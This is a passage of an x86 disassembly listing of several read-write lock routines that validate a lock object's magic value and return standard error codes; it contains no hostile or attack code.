arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+14h]
		lea	ecx, [esi+4]
		neg	eax
		push	ecx
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		push	esi
		call	sub_4010C3
		add	esp, 8
		pop	esi
		retn
sub_431BA0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431BE0	proc near		; CODE XREF: sub_401F73j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	eax, eax
		jnz	short loc_431BF2
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BF2:				; CODE XREF: sub_431BE0+9j
		mov	eax, [esp+4+arg_4]
		push	ebx
		test	eax, eax
		push	edi
		jz	short loc_431C12
		cmp	dword ptr [eax], 0
		jz	short loc_431C12
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431C12:				; CODE XREF: sub_431BE0+1Aj
					; sub_431BE0+1Fj
		push	1Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_431C36
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 0Ch
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431C36:				; CODE XREF: sub_431BE0+43j
		push	0
		push	esi
		mov	dword ptr [esi+0Ch], 0
		mov	dword ptr [esi+10h], 0
		mov	dword ptr [esi+14h], 0
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_431C94
		lea	ebx, [esi+4]
		push	eax
		push	ebx
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_431C8B
		push	eax
		lea	eax, [esi+8]
		push	eax
		call	sub_401541
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_431CAC
		push	ebx
		call	sub_40222F
		add	esp, 4


loc_431C8B:				; CODE XREF: sub_431BE0+8Dj
		push	esi
		call	sub_40222F
		add	esp, 4


loc_431C94:				; CODE XREF: sub_431BE0+7Aj
		push	esi
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431CAC:				; CODE XREF: sub_431BE0+A0j
		mov	ecx, [esp+0Ch+arg_0]
		xor	edi, edi
		mov	eax, edi
		mov	dword ptr [esi+18h], 0FACADE2h
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
sub_431BE0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431D10:				; CODE XREF: ___:004018ACj
		mov	eax, [esp+4]
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		xor	ebp, ebp
		test	eax, eax
		jz	loc_431E4B
		mov	esi, [eax]
		test	esi, esi
		jz	loc_431E4B
		cmp	esi, 0FFFFFFFFh
		jz	loc_431E07
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_431E4B
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_431E50
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_431D79
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431D79:				; CODE XREF: ___:00431D67j
		mov	eax, [esi+10h]
		test	eax, eax
		jg	short loc_431DED
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+14h]
		cmp	eax, ecx
		jg	short loc_431DED
		push	edi
		mov	dword ptr [esi+18h], 0
		call	sub_4010C3
		add	esp, 4
		mov	ebx, eax
		test	ebx, ebx
		push	esi
		jz	short loc_431DB0
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431DB0:				; CODE XREF: ___:00431D9Fj
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	loc_431E50
		mov	ecx, [esp+14h]
		lea	edx, [esi+8]
		push	edx
		mov	[ecx], eax
		call	sub_401A91
		push	edi
		mov	ebx, eax
		call	sub_40222F
		push	esi
		mov	edi, eax
		call	sub_40222F
		push	esi
		mov	ebp, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 10h
		jmp	short loc_431E33
; ---------------------------------------------------------------------------


loc_431DED:				; CODE XREF: ___:00431D7Ej
					; ___:00431D88j
		push	edi
		call	sub_4010C3
		push	esi
		mov	ebx, eax
		call	sub_4010C3
		add	esp, 8
		mov	edi, eax
		mov	ebp, 10h
		jmp	short loc_431E33
; ---------------------------------------------------------------------------


loc_431E07:				; CODE XREF: ___:00431D33j
		push	offset dword_50E9A0
		nop
		call	near ptr 7C901005h
		mov	eax, [esp+14h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_431E23
		mov	dword ptr [eax], 0
		jmp	short loc_431E28
; ---------------------------------------------------------------------------


loc_431E23:				; CODE XREF: ___:00431E19j
		mov	ebx, 10h


loc_431E28:				; CODE XREF: ___:00431E21j
		push	offset dword_50E9A0
		call	near ptr 7C9010EDh
		nop


loc_431E33:				; CODE XREF: ___:00431DEBj
					; ___:00431E05j
		test	ebx, ebx
		jz	short loc_431E3E
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431E3E:				; CODE XREF: ___:00431E35j
		test	edi, edi
		mov	eax, edi
		jnz	short loc_431E50
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431E4B:				; CODE XREF: ___:00431D20j
					; ___:00431D2Aj ...
		mov	eax, 16h


loc_431E50:				; CODE XREF: ___:00431D51j
					; ___:00431DBAj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431EC0:				; CODE XREF: ___:00401E88j
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_431EE3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_431EE3:				; CODE XREF: ___:00431ED2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431F10:				; CODE XREF: ___:00401794j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_431F31
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_431F31
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431F31:				; CODE XREF: ___:00431F19j
					; ___:00431F1Fj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431F50:				; CODE XREF: ___:00401136j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431F6D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_431F6D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_431F6D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_431F6D:				; CODE XREF: ___:00431F56j
					; ___:00431F5Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431F90:				; CODE XREF: ___:0040159Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431FBA
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_431FBA
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_431FAE
		test	eax, eax
		jnz	short loc_431FBA
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_431FAE:				; CODE XREF: ___:00431FA5j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_431FBA:				; CODE XREF: ___:00431F96j
					; ___:00431F9Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431FD0:				; CODE XREF: ___:00402077j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43208A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43208A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432004
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432004
		cmp	eax, 10h
		jnz	loc_43208F


loc_432004:				; CODE XREF: ___:00431FECj
					; ___:00431FF9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43208A
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_43208F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43207D
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_43204D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43204D:				; CODE XREF: ___:0043203Cj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43207D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43207D:				; CODE XREF: ___:0043202Aj
					; ___:0043206Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43208A:				; CODE XREF: ___:00431FD9j
					; ___:00431FE3j ...
		mov	eax, 16h


loc_43208F:				; CODE XREF: ___:00431FFEj
					; ___:0043201Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4320E0:				; CODE XREF: ___:0040169Aj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_4321AF
		mov	eax, [esi]
		test	eax, eax
		jz	loc_4321AF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432114
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432114
		cmp	eax, 10h
		jnz	loc_4321B4


loc_432114:				; CODE XREF: ___:004320FCj
					; ___:00432109j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_4321AF
		mov	ebx, [esp+14h]
		push	ebx
		push	esi
		call	sub_401BC2
		add	esp, 8
		test	eax, eax
		jnz	short loc_4321B4
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_4321A2
		lea	edi, [esi+4]
		push	ebx
		push	edi
		call	sub_401BC2
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_432172
		cmp	ebx, 274Ch
		jnz	short loc_432163
		inc	dword ptr [esi+14h]


loc_432163:				; CODE XREF: ___:0043215Ej
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432172:				; CODE XREF: ___:00432156j
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4321A2
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4321A2:				; CODE XREF: ___:00432143j
					; ___:00432191j
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4321AF:				; CODE XREF: ___:004320E9j
					; ___:004320F3j ...
		mov	eax, 16h


loc_4321B4:				; CODE XREF: ___:0043210Ej
					; ___:00432133j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432200:				; CODE XREF: ___:004015C8j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_4322F6
		mov	eax, [esi]
		test	eax, eax
		jz	loc_4322F6
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432237
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432237
		cmp	eax, 10h
		jnz	loc_4322FB


loc_432237:				; CODE XREF: ___:0043221Fj
					; ___:0043222Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_4322F6
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_4322FB
		lea	ebp, [esi+4]
		push	ebp
		call	sub_402225
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43227B
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43227B:				; CODE XREF: ___:00432267j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_4322EA
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_432298
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_432298:				; CODE XREF: ___:00432287j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_4322EA
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401852
		push	eax
		call	sub_401659
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_4322BB:				; CODE XREF: ___:004322D0j
		push	ebp
		push	ebx
		call	sub_401203
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_4322D2
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_4322BB


loc_4322D2:				; CODE XREF: ___:004322C9j
		xor	ecx, ecx
		test	edi, edi
		setnz	cl
		push	ecx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_4322ED
		mov	[esi+0Ch], edi


loc_4322EA:				; CODE XREF: ___:00432280j
					; ___:0043229Dj
		inc	dword ptr [esi+10h]


loc_4322ED:				; CODE XREF: ___:004322E5j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4322F6:				; CODE XREF: ___:0043220Cj
					; ___:00432216j ...
		mov	eax, 16h


loc_4322FB:				; CODE XREF: ___:00432231j
					; ___:00432251j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432360:				; CODE XREF: ___:00401951j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_432461
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432461
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432397
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432397
		cmp	eax, 10h
		jnz	loc_432466


loc_432397:				; CODE XREF: ___:0043237Fj
					; ___:0043238Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_432461
		mov	edi, [esp+20h]
		push	edi
		push	esi
		call	sub_401BC2
		add	esp, 8
		test	eax, eax
		jnz	loc_432466
		lea	ebp, [esi+4]
		push	edi
		push	ebp
		call	sub_401BC2
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_4323E1
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4323E1:				; CODE XREF: ___:004323CDj
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_432455
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_4323FE
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_4323FE:				; CODE XREF: ___:004323EDj
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_432455
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401852
		push	eax
		call	sub_401659
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_432421:				; CODE XREF: ___:0043243Bj
		mov	ecx, [esp+24h]
		push	ecx
		push	ebp
		push	ebx
		call	sub_4011E0
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_43243D
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_432421


loc_43243D:				; CODE XREF: ___:00432434j
		xor	edx, edx
		test	edi, edi
		setnz	dl
		push	edx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_432458
		mov	[esi+0Ch], edi


loc_432455:				; CODE XREF: ___:004323E6j
					; ___:00432403j
		inc	dword ptr [esi+10h]


loc_432458:				; CODE XREF: ___:00432450j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432461:				; CODE XREF: ___:0043236Cj
					; ___:00432376j ...
		mov	eax, 16h


loc_432466:				; CODE XREF: ___:00432391j
					; ___:004323B6j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4324C0:				; CODE XREF: ___:004015BEj
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	short loc_432546
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_432546
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4324DC
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4324DC:				; CODE XREF: ___:004324D4j
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_432546
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_432524
		lea	ebx, [esi+4]
		push	ebx
		call	sub_402225
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_432502
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432502:				; CODE XREF: ___:004324FCj
		mov	eax, [esi+14h]
		inc	eax
		mov	[esi+14h], eax
		jnz	short loc_432519
		add	esi, 8
		push	esi
		call	sub_401E51
		add	esp, 4
		mov	edi, eax


loc_432519:				; CODE XREF: ___:00432509j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		jmp	short loc_43253C
; ---------------------------------------------------------------------------


loc_432524:				; CODE XREF: ___:004324EAj
		dec	eax
		mov	[esi+10h], eax
		lea	eax, [esi+4]
		push	eax
		call	sub_4010C3
		push	esi
		mov	edi, eax
		call	sub_4010C3
		add	esp, 8


loc_43253C:				; CODE XREF: ___:00432522j
		test	edi, edi
		jz	short loc_43254B
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432546:				; CODE XREF: ___:004324C9j
					; ___:004324CFj ...
		mov	eax, 16h


loc_43254B:				; CODE XREF: ___:0043253Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432580:				; CODE XREF: ___:00401532j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43263A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43263A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4325B4
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_4325B4
		cmp	eax, 10h
		jnz	loc_43263F


loc_4325B4:				; CODE XREF: ___:0043259Cj
					; ___:004325A9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43263A
		push	esi
		call	sub_40177B
		add	esp, 4
		test	eax, eax
		jnz	short loc_43263F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43262D
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_4325FD
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4325FD:				; CODE XREF: ___:004325ECj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43262D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43262D:				; CODE XREF: ___:004325DAj
					; ___:0043261Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43263A:				; CODE XREF: ___:00432589j
					; ___:00432593j ...
		mov	eax, 16h


loc_43263F:				; CODE XREF: ___:004325AEj
					; ___:004325CAj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432690:				; CODE XREF: ___:00401FD2j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_432771
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432771
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4326C4
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_4326C4
		cmp	eax, 10h
		jnz	loc_432776


loc_4326C4:				; CODE XREF: ___:004326ACj
					; ___:004326B9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_432771
		push	esi
		call	sub_40177B
		add	esp, 4
		test	eax, eax
		jnz	loc_432776
		lea	ebx, [esi+4]
		push	ebx
		call	sub_40177B
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_432709
		push	esi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	short loc_432776
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432709:				; CODE XREF: ___:004326F4j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_432759
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_432726
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_432726:				; CODE XREF: ___:00432715j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_432764
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	edi, eax
		test	edi, edi
		push	esi
		jz	short loc_43274B
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43274B:				; CODE XREF: ___:0043273Bj
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_43275E


loc_432759:				; CODE XREF: ___:0043270Ej
		mov	edi, 10h


loc_43275E:				; CODE XREF: ___:00432757j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432764:				; CODE XREF: ___:0043272Bj
		mov	eax, edi
		mov	dword ptr [esi+10h], 1
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432771:				; CODE XREF: ___:00432699j
					; ___:004326A3j ...
		mov	eax, 16h


loc_432776:				; CODE XREF: ___:004326BEj
					; ___:004326DEj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4327C0:				; CODE XREF: ___:00401BF9j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_4327D7
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_4327D7:				; CODE XREF: ___:004327CFj
		mov	eax, [esp+8]
		neg	eax
		sbb	eax, eax
		and	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432800:				; CODE XREF: ___:00401E97j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_432827
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_432827
		cmp	eax, 2
		jbe	short loc_432827
		mov	dword ptr [eax], 0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_432827:				; CODE XREF: ___:0043280Fj
					; ___:00432817j ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432840:				; CODE XREF: ___:0040117Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		push	ebx
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_432886
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_432886
		mov	esi, [edi]
		push	eax
		call	sub_40154B
		add	esp, 4
		cmp	esi, eax
		jl	short loc_432886
		push	0
		call	sub_401438
		add	esp, 4
		cmp	esi, eax
		jg	short loc_432886
		mov	eax, [ebx]
		mov	ecx, [edi]
		pop	edi
		pop	esi
		mov	[eax+10h], ecx
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432886:				; CODE XREF: ___:00432852j
					; ___:0043285Aj ...
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4328B0:				; CODE XREF: ___:00401EDDj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_4328D5
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_4328D5
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+10h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4328D5:				; CODE XREF: ___:004328C0j
					; ___:004328C8j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4328F0:				; CODE XREF: ___:004015B4j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_432909
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432909:				; CODE XREF: ___:00432900j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_43291D
		cmp	eax, 1
		jz	short loc_43291D
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43291D:				; CODE XREF: ___:0043290Fj
					; ___:00432914j
		mov	ecx, [esi]
		pop	esi
